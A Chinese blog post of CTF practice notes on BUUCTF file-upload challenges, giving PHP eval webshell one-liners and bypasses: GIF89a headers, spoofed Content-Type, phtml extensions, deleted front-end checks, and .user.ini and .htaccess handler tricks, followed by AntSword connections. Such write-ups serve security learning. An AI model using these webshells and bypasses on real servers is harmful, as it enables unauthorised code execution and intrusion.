buu刷题笔记之文件上传

[极客大挑战 2019]Upload

判断文件头内容是否符合要求,这里举几个常见的文件头对应关系:

(1) .JPEG;.JPE;.JPG,”JPGGraphic File”

(2) .gif,”GIF 89A”

(3) .zip,”Zip Compressed”

(4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”

打开环境,看到是一个上传图片的界面,先上传一个没有任何绕过的php马。

buu刷题笔记之文件上传

提示说不是图片,需要抓包改文件格式。将Content-Type里面的格式改为image/jpeg

提示后缀违规:尝试常见绕过后缀,发现phtml可以,改为phtml后提示一句话中带<?都不行,故切换一句话木马:

<script language="php">@eval($_POST['passwd'])</script>

上传抓包:

1:绕过文件头检验GIF89a?

2:绕过<?检验<script language="php">eval($_REQUEST[‘jazz’])</script>

3:绕过文件类型检验Content-Type: image/jpeg application/zip

buu刷题笔记之文件上传

 buu刷题笔记之文件上传

 buu刷题笔记之文件上传

 然后用蚁剑连接

buu刷题笔记之文件上传

 根目录下发现flag

[ACTF2020 新生赛]Upload

打开页面,上传裸马发现前端验证后缀:

buu刷题笔记之文件上传

选择绕过前端验证思路:F12删除js中的对应检测代码(如事件)

尝试用不同后缀上传,发现phtml可以

buu刷题笔记之文件上传

 然后用蚁剑连接,在根目录下得到flag。

[SUCTF 2019]CheckIn

首先上传一个裸马测试拦截规则。

buu刷题笔记之文件上传

 

 

提示非法后缀,那改成phtml等也提示非法后缀,看来后缀这里类似白名单处理了

单从后缀角度,尝试jpg(图片马):

buu刷题笔记之文件上传

 

 

 提示说明不但检测了后缀,还检测了文件内容,发现含有<?检测

尝试构造一个,js写入php的图片马:

buu刷题笔记之文件上传

buu刷题笔记之文件上传

 

 

提示使用了exif_imagetype函数,exif_imagetype()读取一个图像的第一个字节并检查其签名(就是内容头检测)

老规矩:加上GIF89a

buu刷题笔记之文件上传

 

 buu刷题笔记之文件上传

 

 上传成功,并且返回了上传路径。但问题是后缀只能是jpg,改不了php,怎么用php解析?所以考虑文件包含,除了平时多说的.htaccess绕过,还有一个可使用范围更广的.user.ini

.user.ini你改过以后,可以让你用目录里存在的正常php文件,包含任何格式的文件,去用php解析。那么很好办了,先上传ini文件,但你不要忽略也是需要文件内容头绕过:

buu刷题笔记之文件上传

 

 然后抓紧时间上传shell.jpg ( 内容头绕过+js写马+图片马jpg后缀的shell.jpg)

buu刷题笔记之文件上传

 

 得到链接:

http://8833e473-f17a-4b0c-8f72-d9bf18b38183.node4.buuoj.cn:81/uploads/1b1080d7356fc684d087821e176b4a50/index.php

蚁剑连,根目录flag

buu刷题笔记之文件上传

 

 buu刷题笔记之文件上传

[MRCTF2020]你传你马呢?

打开靶场是上传,先上传裸马,被拦截.尝试MIME绕过:文件后缀改为jpg,Concent-type字段改为:image/jpeg

buu刷题笔记之文件上传

 

但无法按照php解析?尝试使用配置文件绕过:.htaccess文件绕过

编写一个txt内容为:SetHandler application/x-httpd-php后保存,更名为.htaccess上传至靶场,同时更改类型为image/jpeg

回显显示成功上传

buu刷题笔记之文件上传

之后用蚁剑连接上传好的jpg马子,就ok了

buu刷题笔记之文件上传

上一篇:Leetcode详解Maximum Sum Subarray


下一篇:BZOJ2565最长双回文串——manacher